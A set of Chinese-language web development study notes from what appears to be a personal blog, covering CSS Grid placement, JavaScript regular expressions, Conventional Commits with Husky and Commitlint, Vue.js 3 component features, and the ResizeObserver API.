`grid-column-start` 和 `grid-column-end`：用来指定网格项在网格中的起始列和结束列位置，可以使用列号或者 `span` 关键字来表示跨越的列数。比如 `grid-column-start: 2; grid-column-end: 4;` 表示该网格项从第 2 列开始，到第 4 列结束，占据第 2 列和第 3 列。

```css
.item:nth-child(1){
    grid-row-start: 1;
    grid-row-end: 3;
    grid-column-start: 1;
    grid-column-end: 3;
}
```

或者使用 `grid-template-areas` 定义时的区域名称来指定位置：

```css
.item1 {
    grid-row-start: header-start;
    grid-row-end: header-end;
    grid-column-start: header-start;
    grid-column-end: header-end; 
}

/* 简写 */

.item1 {
    grid-row: header-start / header-end;
    grid-column: header-start / header-end;
}

/* 再简写 */

.item1 {
    grid-row: header;
    grid-column: header;
}

/* 再简写 */

.item1 {
    grid-area: header;
}
```

上述方法是最常用的，可以快速将网格项放置在指定区域内。

`align-self`：用来设置单个网格项在其单元格内的垂直对齐方式，可以覆盖 `align-items` 的设置。可以设置为 `start`（顶部对齐）、`end`（底部对齐）、`center`（居中）和 `stretch`（拉伸填满单元格，默认值）。

`justify-self` ：用来设置单个网格项在其单元格内的水平对齐方式，可以覆盖 `justify-items` 的设置。可以设置为 `start`（左对齐）、`end`（右对齐）、`center`（居中）和 `stretch`（拉伸填满单元格，默认值）。

`place-self`：是 `align-self` 和 `justify-self` 的简写，可以同时设置水平和垂直对齐方式，比如 `place-self: center;` 表示水平和垂直都居中，`place-self: start end;` 表示水平左对齐，垂直底部对齐。

[CSS Grid 网格布局教程](https://ruanyifeng.com/blog/2019/03/grid-layout-tutorial.html)

---

---
url: /posts/ro3hdrke/index.md
---
## 模糊匹配

### 横向匹配

一个正则可以匹配的字符串的 **长度不固定**，可以是多种情况

例如：`{m,n}`，表示连续出现的最少 **m 次**，最多 **n 次**。

```js
/ab{2,5}c/
```

表示匹配第一个字符是 `a`，接下来的 2 到 5 个字符是 `b`，最后是字符 `c`。

```js
const regex = /ab{2,5}c/g;
const string = "abc abbc abbbc abbbbc abbbbbc";
console.log(string.match(regex));
//  ["abbc", "abbbc", "abbbbc", "abbbbbc"]
```

> \[!important]
>
> `g` 表示全局匹配，否则只匹配第一个
> 在目标字符串中按照属性找到满足匹配模式的 **所有字符串**

### 纵向匹配

在匹配具体的某一位字符时，它可以不是某一个确定的字符，可以有多种肯可能

```js
/abc/
```

表示该字符是 `a`, `b`, `c`, 中的任何一个即可

```js
const regex = /a[123]b/g;
const string = "a0b a1b a2b a3b a4b";
console.log(string.match(regex));
// (3) ["a1b", "a2b", "a3b"]
```

## 字符组

```js
[abc]	// 表示匹配一个字符，可以是 a, b, c 其中之一
```

### 范围表示法

```js
[123456abcdefgHIGKLMN]
// 可以写成
[1-6a-gH-N]
```

如果匹配 `1`, `-`, `6`, 这三个字符其中一个需要写成：

```js
[-16]
[61-]
[1\-6]	// 使用转义
```

### 排除

```js
[^abc]
```

表示某一位的字符可以是任何东西，除了 `a`, `b`, `c`.

### 简写形式

| 字符组 | 含义                                                         |
| ------ | ------------------------------------------------------------ |
| \d     | \[0-9]                                                        |
| \D     | \[^0-9]                                                       |
| \w     | \[0-9a-zA-Z\_] 数字，大小写，下划线                            |
| \W     | \[^0-9a-zA-Z\_]                                                |
| \s     | \[ \t\v\n\r\f] 空白符，空格，水平制表符，换行符，回车符，换页符 |
| \S     | \[^ \t\v\n\r\f]                                               |
| .      | \[^\n\r\u2028\u2029] 通配符，表示几乎任意在字符                |

### 量词

| 量词 | 含义                       |
| ---- | -------------------------- |
|` {m,}` | 表示最少出现 **m 次**        |
| `{m}`  | 表示出现 **m 次**            |
| ？   | 表示 **出现** 或者 **不出现** |
| +    | 表示最少出现一次           |
| \*    | 表示出现任意次数，包括 0 次  |

### 贪婪与惰性

```js
let regex = /\d{2,5}/g;
let string = "123 1234 12345 123456 1234567";
console.log(string.match(regex));
// (6) ["123", "1234", "12345", "12345", "12345", "67"]
```

上述正则表示数字连续出现 2 到 5 次。会匹配 2 位，3 位，4 位，5 位连续数字

其是贪婪模式，会尽可能匹配

比如给 6 个，要 5 个，给 3 个，要三个，在匹配范围内，越多越好

**惰性匹配**就是尽可能地**少匹配**

```js
let regex = /\d{2,5}?/g;
let string = "123 1234 12345 123456 1234567";
console.log(string.match(regex));
// (11) ["12", "12", "34", "12", "34", "12", "34", "56", "12", "34", "56"]
```

其中`的/\d{2,5}?/`表示，虽然2到5次都行，但是2个就够的时候就不要往下尝试了

所以，通过在量词后面加上一个**问号**`?`就能实现**惰性匹配**

| 惰性量词 | 贪婪量词 |
| -------- | -------- |
| `{m,n}?` | `{m,n}`  |
| `{m,}?`  | `{m,}`   |
| `??`     | `?`      |
| `+?`     | `+`      |
| `*?`     | `*`      |

> \[!IMPORTANT]
>
> 只需理解成在量词后面加上一个**问号**

## 多选分支

一个模式可以实现**横向**和**纵向**的模糊匹配，多选分支用于支持**多个子模式其中之一**

`(p1|p2|p3)`，其中p1,p2,p3就是子模式，使用`|`管道符分割，表示**其中之一**

比如匹配字符串`student`和`teacher`，可以使用`/student|teacher/`

```js
let regex = /student|teacher/g;
let string = "student teacher person people home";
console.log(string.match(regex));
// (2) ["student", "teacher"]
```

> \[!IMPORTANT]
>
> 使用`/good|goodbye/`去匹配`goodbye`的时候，结果是`good`

```js
		let regex = /good|goodbye/g;
		let string = "goodbye";
		console.log(string.match(regex));
		// ["good"]
```

```js
/goodbye|good/	// 修改后,即可匹配到goodbye
```

由此可见，**分支结构**是惰性的，即当前面的匹配上了，后面的就不再尝试了

### 案例

#### 匹配16进制颜色值

```js
#ffbbad
#Fc01DF
#FFF
#ffE
```

使用**字符组**，`[0-9a-fA-F]`

其中字符可以出现**3次**或者**6次**，使用量词和分支结构

```js
let regex = /#([0-9a-fA-F]{6})|[0-9a-fA-F]{3}/g;
let string = "#ffbbad #Fc01DF #FFF #ffE #fff #ABCDSFD";
console.log(string.match(regex));
// (6) ["#ffbbad", "#Fc01DF", "FFF", "ffE", "fff", "ABC"]
// 因为分支结构是惰性的，所以ABC也匹配到了
```

#### 匹配时间

```js
13:47
8:30
```

总共**4位**数字，第一位数字可以为`[0-2]`，即`0`,`1`,`2`

当第一位为`2`时，第二位可以为`[0-3]`，其他情况则为`[0-9]`

第三位数字为`[0-5]`，第四位为`[0-9]`

---

---
url: /posts/robp7vkr/index.md
---
## 什么样的提交信息是“好的提交信息”？

一个好的 commit message 应该能做到：

* 一眼就能看出改动的 **目的**；
* 自动生成 **CHANGELOG**、版本号；
* 便于 **回溯问题**、快速阅读项目历史。

因此，业界最常用的规范是：

**Conventional Commits 规范**

格式如下：

```json
<type>(<scope>): <subject>
```

例如：

```json
feat(router): 支持动态参数匹配
fix(auth): 修复 token 过期后无法刷新问题
refactor(core): 优化依赖注入逻辑
docs(readme): 补充安装说明
style: 调整 eslint 规则
test(utils): 增加日期格式化单元测试
chore(ci): 更新 GitHub Actions 配置
```

## `type` 常用类型一览

| 类型       | 说明                             |
| ---------- | -------------------------------- |
| `feat`     | 新功能                           |
| `fix`      | 修复 bug                         |
| `refactor` | 重构代码（不影响功能）           |
| `perf`     | 性能优化                         |
| `style`    | 代码格式调整（空格、缩进、分号） |
| `test`     | 添加或修改测试                   |
| `docs`     | 文档变更                         |
| `build`    | 构建系统或依赖相关变更           |
| `chore`    | 其他杂项任务                     |
| `ci`       | CI/CD 配置相关                   |
| `revert`   | 回滚提交                         |

**提示**：

scope 是可选的，比如 `feat(router): ...`。

如果项目模块多，用 scope 标记更清晰。

## 好 vs 坏 示例对比

| 不规范提交 | 改进后提交                                |
| ---------- | ----------------------------------------- |
| “修改 bug” | `fix(user): 修复登录后用户信息不更新问题` |
| “优化代码” | `refactor(core): 简化响应式依赖收集逻辑`  |
| “更新文档” | `docs(readme): 补充 API 参数说明`         |
| “新增功能” | `feat(todo): 支持任务完成状态切换`        |

## 用 Husky + Commitlint 强制执行规范

这套组合让你：

* **自动校验 commit message 格式**
* 不符合规范的提交会被直接阻止

### 安装依赖

```bash
npm install --save-dev husky @commitlint/{cli,config-conventional}
```

### 新建配置文件

在项目根目录新建文件： **`commitlint.config.js`**

```js
module.exports = {
  extends: ['@commitlint/config-conventional'],
}
```

这会继承上面提到的 Conventional Commits 标准。

### 添加 Husky 钩子

先启用 Husky（如果你之前没加过）：

```bash
npx husky install
npm pkg set scripts.prepare="husky install"
```

再添加 commit-msg 钩子：

```bash
npx husky add .husky/commit-msg 'npx commitlint --edit "$1"'
```

生成的 `.husky/commit-msg` 文件内容类似：

```bash
#!/usr/bin/env sh
. "$(dirname -- "$0")/_/husky.sh"

npx commitlint --edit "$1"
```

### 测试一下

```bash
git commit -m "update something"
```

会被拒绝提交：

```bash
⧗   input: update something
✖   subject may not be empty [subject-empty]
✖   type may not be empty [type-empty]

✖   found 2 problems, 0 warnings
```

改成：

```bash
git commit -m "feat(core): 添加自动路由注册机制"
```

## 最佳实践

```bash
git commit -m "feat(core): 支持动态模块加载"
        │
        ▼
Husky 触发 commitlint → 校验格式
        │
        ▼
git push 触发 CI/CD
        │
        ▼
npm run release → 自动生成 CHANGELOG.md + 版本号升级 + 提交 Tag
        │
        ▼
(可选) semantic-release 自动发布到 npm/github
```

---

---
url: /posts/rsnktcrw/index.md
---
# 回顾Vue.js的一些笔记
## Import maps

```js
import { createApp } from 'vue'
```

[导入映射表 (Import Maps)](https://caniuse.com/import-maps)用于在浏览器中更好地管理 JavaScript 模块的导入路径。

```html {12}
<script type="importmap">
  {
    "imports": {
      "vue": "https://unpkg.com/vue@3/dist/vue.esm-browser.js"
    }
  }
</script>

<div id="app">{{ message }}</div>

<script type="module">
  import { createApp, ref } from 'vue'

  createApp({
    setup() {
      const message = ref('Hello Vue!')
      return {
        message
      }
    }
  }).mount('#app')
</script>
```

上面的代码中，导入的vue模块路径被映射到一个CDN地址。

## 全局错误捕获

应用实例会暴露一个 `.config` 对象允许我们配置一些应用级的选项，例如定义一个应用级的错误处理器，用来捕获**所有子组件上的错误**：

```js
app.config.errorHandler = (err) => {
  /* 处理错误 */
}
```

## 绑定

```vue
<div v-bind:id="id"></div>
<div :id="id"></div>
<div :id></div>
<div v-bind:id></div>
```

上面四种写法的效果是一样的。

**动态绑定多个值**：

```js
const objectOfAttrs = {
  id: 'container',
  class: 'wrapper',
  style: 'background-color:green'
}
```

**注意**：不带参数的 `v-bind`

```vue
<div v-bind="objectOfAttrs"></div>
```

**受限的全局访问**：

模板中的表达式将被沙盒化，仅能够访问到[有限的全局对象列表](https://github.com/vuejs/core/blob/main/packages/shared/src/globalsAllowList.ts#L3)。该列表中会暴露常用的内置全局对象，比如 `Math` 和 `Date`。

```js
const GLOBALS_ALLOWED =
  'Infinity,undefined,NaN,isFinite,isNaN,parseFloat,parseInt,decodeURI,' +
  'decodeURIComponent,encodeURI,encodeURIComponent,Math,Number,Date,Array,' +
  'Object,Boolean,String,RegExp,Map,Set,JSON,Intl,BigInt,console,Error,Symbol'
```

没有**显式包含在列表中的全局对象将不能在模板内表达式中访问**，例如用户附加在 `window` 上的属性。然而，你也可以自行在 [`app.config.globalProperties`](https://cn.vuejs.org/api/application.html#app-config-globalproperties) 上显式地添加它们，供所有的 Vue 表达式使用。

**动态参数**：

```vue
<a v-bind:[attributeName]="url"> ... </a>
<a v-on:[eventName]="doSomething"> ... </a>
```

`attributeName` 会作为一个 JavaScript 表达式被动态执行

动态参数中表达式的值应当是一个**字符串**，或者是 `null`。特殊值 `null` 意为**显式移除该绑定**。其他非字符串的值会触发警告。

![](https://pimg.yumgjs.com/2025-06-15%2F180020.png){no-zoom}

## 样式绑定

**样式对象绑定**：

```js
const classObject = reactive({
  active: true,
  'text-danger': false
})
```

```vue
<div :class="classObject"></div>
```

或者绑定一个返回对象的[计算属性](https://cn.vuejs.org/guide/essentials/computed.html)

**内联样式**：

```js
const activeColor = ref('red')
const fontSize = ref(30)
```

```vue
<div :style="{ color: activeColor, fontSize: fontSize + 'px' }"></div>
```

直接绑定一个样式对象

```js
const styleObject = reactive({
  color: 'red',
  fontSize: '30px'
})
```

```vue
<div :style="styleObject"></div>
```

## v-for中的key

Vue的DOM更新策略是**就地更新**，这意味着当通过V-for渲染元素后，当数据发生顺序变化，但是DOM不会发生变化，只会就地更新每个元素。

如果想让Vue跟踪每个节点的标识，从而重用和重新排序现有的元素，你需要为每个元素对应的块提供一个唯一的 `key` 属性

> **官网的一句话**：默认模式是高效的，但只适用于列表渲染输出的结果不依赖子组件状态或者临时 DOM 状态 (例如表单输入值) 的情况。

"**不依赖子组件状态**" 的意思是：如果你列表中的每一个子组件实例都有自己独立的、内部维护的状态（比如表单输入值、组件内部的选中状态、展开/收起状态等），那么当列表顺序变化或有增删时，**没有 `key` 会导致这些内部状态被错误地复用，从而出现 Bug**。

"**临时 DOM 状态**" 的意思是：如果你列表中的元素是表单控件，并且用户可能直接在这些控件上进行输入或操作，那么当列表顺序变化或有增删时，**没有 `key` 会导致 Vue 复用带有旧的临时 DOM 状态的元素，从而出现视图与数据不一致的问题**。

**Key的使用场景**：渲染的列表项是动态的，即会发生增加，删除，重排等事件，并且这些列表项包括：子组件，表单元素等，就应该使用`key`，**并且确保 `key` 是每个列表项独一无二的标识**。

推荐在任何可行的时候为 `v-for` 提供一个 `key` attribute，**除非所迭代的 DOM 内容非常简单** (例如：不包含组件或有状态的 DOM 元素)，或者你想有意采用默认行为来提高性能。

## 事件

关于按钮修饰符可以直接使用 [`KeyboardEvent.key`](https://developer.mozilla.org/zh-CN/docs/Web/API/UI_Events/Keyboard_event_key_values) 暴露的按键名称作为修饰符，但需要转为 kebab-case 形式。

```vue
<input @keyup.page-down="onPageDown" />
```

## 侦听器

侦听器可以监听的数据源可以是：ref（包括计算属性），一个响应式对象、一个 [getter 函数](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Functions/get#description)、或多个数据源组成的数组。

注意，你不能直接侦听**响应式对象的属性值**，需要写成getter函数：

```js
// 提供一个 getter 函数
watch(
  () => obj.count,
  (count) => {
    console.log(`Count is: ${count}`)
  }
)
```

**深层侦听器**：直接给 `watch()` 传入一个响应式对象，会隐式地创建一个**深层侦听器**，该回调函数在所有嵌套的变更时都会被触发：

相比之下，一个返回响应式对象的 getter 函数，**只有在返回不同的对象时（比如整个对象被替换）**，才会触发回调，不过可以显式地加上 `deep` 选项，强制转成深层侦听器，`deep` 选项还可以是一个数字，表示最大遍历深度

在 `setup()` 或 `<script setup>` 中用同步语句创建的侦听器，会自动绑定到宿主组件实例上，并且会在宿主组件卸载时自动停止。因此，在大多数情况下，你无需关心怎么停止一个侦听器。如果用异步回调创建一个侦听器，那么它不会绑定到当前组件上，你必须手动停止它，以防内存泄漏。如下方这个例子：

```vue
<script setup>
import { watchEffect } from 'vue'

// 它会自动停止
watchEffect(() => {})

// ...这个则不会！
setTimeout(() => {
  watchEffect(() => {})
}, 100)
</script>
```

要手动停止一个侦听器，请调用 `watch` 或 `watchEffect` 返回的函数：

需要异步创建侦听器的情况很少，请尽可能选择同步创建。如果需要等待一些异步数据，你可以使用条件式的侦听逻辑：

```js
// 需要异步请求得到的数据
const data = ref(null)

watchEffect(() => {
  if (data.value) {
    // 数据加载后执行某些操作...
  }
})
```

## ref

ref允许我们在一个特定的 DOM 元素或子组件实例被**挂载后**，获得对它的直接引用。

```vue
<script setup>
import { useTemplateRef, onMounted } from 'vue'

// 第一个参数必须与模板中的 ref 值匹配
const input = useTemplateRef('my-input')

onMounted(() => {
  input.value.focus()
})
</script>

<template>
  <input ref="my-input" />
</template>
```

## 组件

### props

```js
const props = defineProps({
    title: {
        rtype: String,
        required: false,
        default: 'Default Title'
    }
})
// <demo title="my title" />
```

### 监听事件

子组件触发自定义事件，父组件监听对应事件

```vue
<demo @down="console.log('父组件监听到down事件')"/>
```

```vue
<button @click="$emit('down')">Click</button> <!-- 子组件点击触发  -->
```

用于`<script setup>`中

```js
const event = defineEmits(['down']);
const fun = () => {
    event('down');
}
```

### 插槽

```vue
<demo>
    <h2>Fly</h2>
</demo>
```

```vue
...
<slot>Default</slot>
...
```

### 动态组件

```vue
<!-- currentTab 改变时组件也改变 -->
<component :is="tabs[currentTab]"></component>
```

## 深入组件

全局注册的组件在生产打包的时候**无法被 tree-shaking 优化掉**。

在组件中**只写key没有value**（**仅写上 prop 但不传值**）会被隐式的转化为true

props遵循单向数据流，父组件向子组件传递数据时，子组件不能直接修改父组件的数据，如果你在子组件中去更改一个 prop，Vue 会在控制台上向你抛出警告：

如果父组件传入一个复合类型的 prop ，比如对象或者数组，那么子组件就可以修改并且不会触发警告，这是因为 JavaScript 的对象和数组是按引用传递，**对 Vue 来说，阻止这种更改需要付出的代价异常昂贵**，这种更改的主要缺陷是它允许了子组件以某种不明显的方式影响父组件的状态，可能会使数据流在将来变得更难以理解。

**最佳实践是子组件抛出一个事件，父组件监听这个事件并在回调中修改数据。**

**$emit** 校验：

```vue
<script setup>
const emit = defineEmits({
  // 校验 submit 事件
  submit: ({ email, password }) => {
    if (email && password) {
      return true
    } else {
      console.warn('Invalid submit event payload!')
      return false
    }
  }
})

function submitForm(email, password) {
  emit('submit', { email, password })
}
</script>
```

**为组件的 emits 标注类型**（**校验**）https://cn.vuejs.org/guide/typescript/composition-api.html#typing-component-emits

### 组件 v-model

```js
const model = defineModel()
// <Child v-model="countModel" />
```

`defineModel`的主要应用场景是**开发自定义表单控件或需要双向数据绑定的组件**，功能上和原生的`input`、`select`等表单元素类似。

`defineModel()` 返回的值是一个 ref，它可以像其他 ref 一样被访问以及修改，不过它能起到在**父组件和当前组件中变量之间的双向绑定**的作用：

```vue
<script setup>
const model = defineModel()
</script>

<template>
  <input v-model="model" />
</template>
<!-- <child v-model='count'/> -->
```

**底层机制**：

组件 `v-model` 本质上是 **`defineProps` 和 `defineEmits` 的语法糖**

```vue
<!-- Child.vue -->
<script setup>
const props = defineProps(['modelValue'])
const emit = defineEmits(['update:modelValue'])
</script>

<template>
  <input
    :value="props.modelValue"
    @input="emit('update:modelValue', $event.target.value)"
  />
</template>
```

```vue
<!-- Parent.vue -->
<Child
  :modelValue="foo"
  @update:modelValue="$event => (foo = $event)"
/>
```

还可以通过给 `defineModel` 传递选项，来声明底层 prop 的选项：

```js
const model = defineModel({ required: true	 })
const model = defineModel({ default: 0 })
```

**参数**：

```vue
<MyComponent v-model:title="bookTitle" />
```

将字符串作为第一个参数传递给 `defineModel()` 来支持相应的参数，额外的 prop 选项，应该在 model 名称之后传递，同样可以使用 defineModel 原理 的方式的写出。

```js
const title = defineModel('title',{ required: true })
```

有了参数对应，就可以有多个`v-model`绑定。

除了内除的修饰符，还可以在自定义组件的`v-model`中自定义修饰符。

在子组件中通过解构`defineModel`的返回值得到使用时的修饰符

```js
const [model, modifiers] = defineModel()
```

可以给 `defineModel()` 传入 `get` 和 `set` 这两个选项，这两个选项在从模型引用中读取或设置值时会接收到当前的值

```vue
<script setup>
const [model, modifiers] = defineModel({
  set(value) {
    if (modifiers.capitalize) {
      return value.charAt(0).toUpperCase() + value.slice(1)
    }
    return value
  },
    get(val){
        ...
		return val
    }
})
</script>

<template>
  <input type="text" v-model="model" />
</template>
```

上述的例子还能实现多`v-model`，`defineModel`的第一个参数是名称，第二个是处理选项

```js
const [model, modifiers] = defineModel('...',{...})
```

prop的安全的默认值创建方式：`default: () => ({ name: 'default' })`

关于为什么默认值要使用**工厂函数**：

如果是一个**原始类型**可以直接写，但是如果是引用类型（对象，数组），需要用**工厂函数返回对象**，才能确保每个实例都会创建新对象，否则所有组件实例共享同一个对象引用。

默认值的工厂函数机制是为了保证**数据实例的独立性**，防止某些操作意外修改数据后影响了所有组件引用的数据（数据污染）。

### 透传 Attributes

**Attributes 继承**是指在组件系统中，当父组件将属性（attributes）传递给子组件时，如果子组件没有显式地声明或处理这些属性，那么这些属性就会被“**继承**”到**子组件的根元素上**。

如果一个子组件的根元素已经有了 `class` 或 `style` attribute，它会和从父组件上继承的值合并。

```vue
<!-- <MyButton> 的模板 -->
<button>Click Me</button>
```

```vue
<MyButton class="large" />
```

最终渲染：

```vue
<button class="large">Click Me</button>
```

同样的规则也适用于 `v-on` 事件监听器。

如果一个组件在根组件上渲染另一个组件，那么它接收的 Attributes 会直接继续传给**嵌套组件**（组件内的组件）

**注意**：透传 Attributes 不会包含声明过的 props 或是针对 `emits` 声明事件的 `v-on` 侦听函数，换句话说，声明过的 props 和侦听函数被 `<MyButton>`“**消费**”了。

如果你**不想要**一个组件自动地继承 attribute，你可以在组件选项中设置 `inheritAttrs: false`，透传进来的 attribute 可以在模板的表达式中直接用 `$attrs` 访问到，除了被"**消费**"了的 attribute

```vue
<script setup>
defineOptions({
  inheritAttrs: false
})
// ...setup 逻辑
</script>
```

更改透传属性的位置：

```vue
<div class="btn-wrapper">
  <button class="btn" v-bind="$attrs">Click Me</button>
</div>
```

::: tip 补充

无参数的 `v-bind` 会将一个对象的所有属性都作为 attribute 应用到目标元素上。

:::

**如果一个组件是多根节点，那么自动  attribute 透传行为是没有的**，如果 `$attrs` 没有被显式绑定，将会抛出一个运行时警告。

如果需要在JavaScript中访问透传 attribute ，需要先从`vue`中引入`useAttrs `API。

```vue
<script setup>
import { useAttrs } from 'vue'
const attrs = useAttrs()
</script>
```

### Slots

当一个组件同时接收默认插槽和具名插槽时，所有位于**顶级**的非 `<template>` 节点都被隐式地视为默认插槽的内容。

**条件插槽**：

```vue
<div v-if="$slots.header" class="card-header">
    <slot name="header" />
</div>
```

**动态插槽名**：

```vue
<template v-slot:[dynamicSlotName]></template>
```

**作用域插槽**：

子组件将数据交给父组件，父组件进行结构设计后再传入子组件，也就是父组件在使用插槽的时候同时拥有当前组件数据和子组件数据

方法是像对组件传递 props 那样，向一个插槽的出口上传递 attributes：

```vue
<!-- <MyComponent> 的模板 -->
<div>
  <slot :text="greetingMessage" :count="1"></slot>
</div>
```

通过子组件标签上的 `v-slot` 指令，直接接收到了一个插槽 props 对象：

```vue
<MyComponent v-slot="slotProps">
    {{ slotProps.text }} {{ slotProps.count }}
</MyComponent>
```

**具名作用域插槽**：

```vue
<MyComponent>
    <template #header="headerProps">
{{ headerProps }}
    </template>

    <template #default="defaultProps">
{{ defaultProps }}
    </template>

    <template #footer="footerProps">
{{ footerProps }}
    </template>
</MyComponent>
```

向具名插槽中传入 props：

```vue
<slot name="header" message="hello"></slot>
```

**注意**：插槽上的 `name` 是一个 Vue 特别保留的 attribute，不会作为 props 传递给插槽。

### 依赖注入

**依赖注入**：：一个父组件向下“**分发**”数据，它的所有后代（无论隔几代）都可以“**接收**”这些数据。

一个父组件相对于其所有的后代组件，会作为**依赖提供者**。任何后代的组件树，无论层级有多深，都可以**注入**由父组件提供给整条链路的依赖。

要为组件后代提供数据，需要使用到 [`provide()`](https://cn.vuejs.org/api/composition-api-dependency-injection.html#provide) 函数：

```vue
<script setup>
import { provide } from 'vue'

provide(/* 注入名 */ 'message', /* 值 */ 'hello!')
</script>
```

`provide()` 函数接收两个参数。第一个参数被称为**注入名**，可以是一个字符串或是一个 `Symbol`。后代组件会用注入名来查找期望注入的值。一个组件可以多次调用 `provide()`，使用不同的注入名，注入不同的依赖值。

第二个参数是提供的值，值可以是任意类型，包括响应式的状态，比如一个 ref：

```js
import { ref, provide } from 'vue'

const count = ref(0)
provide('key', count)
```

**提供的响应式状态使后代组件可以由此和提供者建立响应式的联系**。

**应用层 Provide**：除了在一个组件中提供依赖，我们还可以在整个应用层面提供依赖：

```js
import { createApp } from 'vue'

const app = createApp({})

app.provide(/* 注入名 */ 'message', /* 值 */ 'hello!')
```

在应用级别提供的数据在该应用内的所有组件中都可以注入。

要注入上层组件提供的数据，需使用 [`inject()`](https://cn.vuejs.org/api/composition-api-dependency-injection.html#inject) 函数：

```vue
<script setup>
import { inject } from 'vue'

const message = inject('message')
</script>
```

如果有多个父组件提供了**相同键的数据**，注入将解析为组件链上**最近的父组件**所注入的值。

如果注入名在祖先链上没有组件提供，可以声明一个默认值，否则会抛出一个运行时警告。

```js
// 如果没有祖先组件提供 "message"
// `value` 会是 "默认值"
const value = inject('message', '默认值')
```

在一些场景中，默认值可能需要通过调用一个函数或初始化一个类来取得。为了避免在用不到默认值的情况下进行不必要的计算或产生副作用，我们可以使用工厂函数来创建默认值。第三个参数表示默认值应该被当作一个工厂函数。

```js
const value = inject('key', () => new ExpensiveClass(), true)
```

当向后代提供数据时，**建议尽可能将任何对响应式数据的变更都保持在供给方组件中**，即传入数据的同时也传入改变数据的方法。

**使用 Symbol 作注入名**：在大型应用中会有很多的依赖提供者，建议最好使用 Symbol 来作为注入名以避免潜在的冲突。

推荐在一个单独的文件中导出这些注入名 Symbol：

```js
// keys.js
export const myInjectionKey = Symbol()
```

```js
// 在供给方组件中
import { provide } from 'vue'
import { myInjectionKey } from './keys.js'

provide(myInjectionKey, { 
  /* 要提供的数据 */
})``
```

```js
// 注入方组件
import { inject } from 'vue'
import { myInjectionKey } from './keys.js'

const injected = inject(myInjectionKey)
```

### 异步组件

在大型项目中，**为提高性能和优化加载速度**，可以将应用拆分为更小的模块，并按需从服务器加载所需组件。Vue 提供了 `defineAsyncComponent` 方法，以实现组件的异步加载功能。。

并且在类似Vite这样的打包工具中，异步组件会被自动拆分成独立的代码块。

```js
import { defineAsyncComponent } from 'vue'

const AsyncComp = defineAsyncComponent(() => {
  return new Promise((resolve, reject) => {
    // ...从服务器获取组件
    resolve(/* 获取到的组件 */)
  })
})
// ... 像使用其他一般组件一样使用 `AsyncComp`
```

`defineAsyncComponent` 方法接收一个返回 Promise 的加载函数，而ESM 模块的 `import()` 函数正好符合这个要求：

```js
import { defineAsyncComponent } from 'vue'

const AsyncComp = defineAsyncComponent(() =>
  import('./components/MyComponent.vue')
)
```

`AsyncComp` 是一个被包装过的组件，Vue 会在需要时自动加载它，它会将接收到的 props 和 插槽传递给内部的组件，所以可以使用异步组件去无替换原始组件，并且实现了懒加载。

* [加载配置](https://cn.vuejs.org/guide/components/async.html#loading-and-error-states)
* [加载时机](https://cn.vuejs.org/guide/components/async.html#lazy-hydration)

## 组合式函数

组合式函数是一个用组合式API封装的可复用有状态逻辑的函数。

## 自定义指令

https://cn.vuejs.org/guide/reusability/custom-directives

```js
const myDirective = {
  // 在绑定元素的 attribute 前
  // 或事件监听器应用前调用
  created(el, binding, vnode) {
    // 下面会介绍各个参数的细节
  },
  // 在元素被插入到 DOM 前调用
  beforeMount(el, binding, vnode) {},
  // 在绑定元素的父组件
  // 及他自己的所有子节点都挂载完成后调用
  mounted(el, binding, vnode) {},
  // 绑定元素的父组件更新前调用
  beforeUpdate(el, binding, vnode, prevVnode) {},
  // 在绑定元素的父组件
  // 及他自己的所有子节点都更新后调用
  updated(el, binding, vnode, prevVnode) {},
  // 绑定元素的父组件卸载前调用
  beforeUnmount(el, binding, vnode) {},
  // 绑定元素的父组件卸载后调用
  unmounted(el, binding, vnode) {}
}
```

**钩子参数**

* `el`：指令绑定到的元素。这可以用于直接操作 DOM。
* `binding`：一个对象，包含以下属性。
  * `value`：传递给指令的值。例如在 `v-my-directive="1 + 1"` 中，值是 `2`。
  * `oldValue`：之前的值，仅在 `beforeUpdate` 和 `updated` 中可用。无论值是否更改，它都可用。
  * `arg`：传递给指令的参数 (如果有的话)。例如在 `v-my-directive:foo` 中，参数是 `"foo"`。
  * `modifiers`：一个包含修饰符的对象 (如果有的话)。例如在 `v-my-directive.foo.bar` 中，修饰符对象是 `{ foo: true, bar: true }`。
  * `instance`：使用该指令的组件实例。
  * `dir`：指令的定义对象。
* `vnode`：代表绑定元素的底层 VNode。
* `prevVnode`：代表之前的渲染中指令所绑定元素的 VNode。仅在 `beforeUpdate` 和 `updated` 钩子中可用。

## 插件

https://cn.vuejs.org/guide/reusability/plugins.html

## Transition

在使用Transition组件时候如果没有指定`name`属性，那么默认过渡Class类将以`v` 作为前缀。

![](https://cn.vuejs.org/assets/transition-classes.DYG5-69l.png)

触发条件：

* 由 `v-if` 所触发的切换
* 由 `v-show` 所触发的切换
* 由特殊元素 `<component>` 切换的动态组件
* 改变特殊的 `key` 属性

如果进入和离开的元素都是在同时开始动画的，那么不得不将它们设为 `position: absolute` 以避免二者同时存在时出现的布局问题。

然而，很多情况下这可能并不符合需求。我们可能想要先执行离开动画，然后在其完成**之后**再执行元素的进入动画。手动编排这样的动画是非常复杂的，好在我们可以通过向 `<Transition>` 传入一个 `mode` prop 来实现这个行为。

## TransitionGroup

---

---
url: /posts/sfbmlxfi/index.md
---
# 实用 JS 原生 API 学习笔记
## ResizeObserver 监听元素尺寸

监听元素尺寸变化（不是窗口 resize），解决图表自适应、动态布局、虚拟滚动等场景。

```js
const box = document.querySelector('#box');
const observer = new ResizeObserver(entries => {
    for (let entry of entries) {
        console.log('元素大小变化：', entry.contentRect.width, entry.contentRect.height);
    }
});
observer.observe(box);
```

DEMO（自动改变尺寸时调整字体）

```html
<div id="box" style="resize:both;overflow:auto;border:1px solid #333;width:200px;height:100px;">
    调整我尺寸试试
</div>
<script>
    const box = document.getElementById('box');
    new ResizeObserver(([entry]) => {
        box.style.fontSize = entry.contentRect.width / 20 + 'px';
    }).observe(box);
</script>
```

**使用场景**

* 图表容器自适应（ECharts、G2）
* CSS Grid/Flex 导致布局重新计算
* 富文本编辑器自适应

**高级用法**

* 监听 `contentBoxSize` 和 `borderBoxSize` 获取更精确度量。
* 与 `requestAnimationFrame` 或 `debounce` 结合，避免回调频繁触发导致布局抖动。

**生产实践**

* 对回调内部涉及 DOM 修改的操作做节流/防抖。
* 在组件卸载时调用 `observer.disconnect()` 释放资源。

**常见坑**

* 在回调里修改被观察元素尺寸可能造成循环触发。
* 有些旧版本 Safari/Firefox 行为差异，用 `entry.contentRect` 做兼容。

**兼容性 & polyfill**

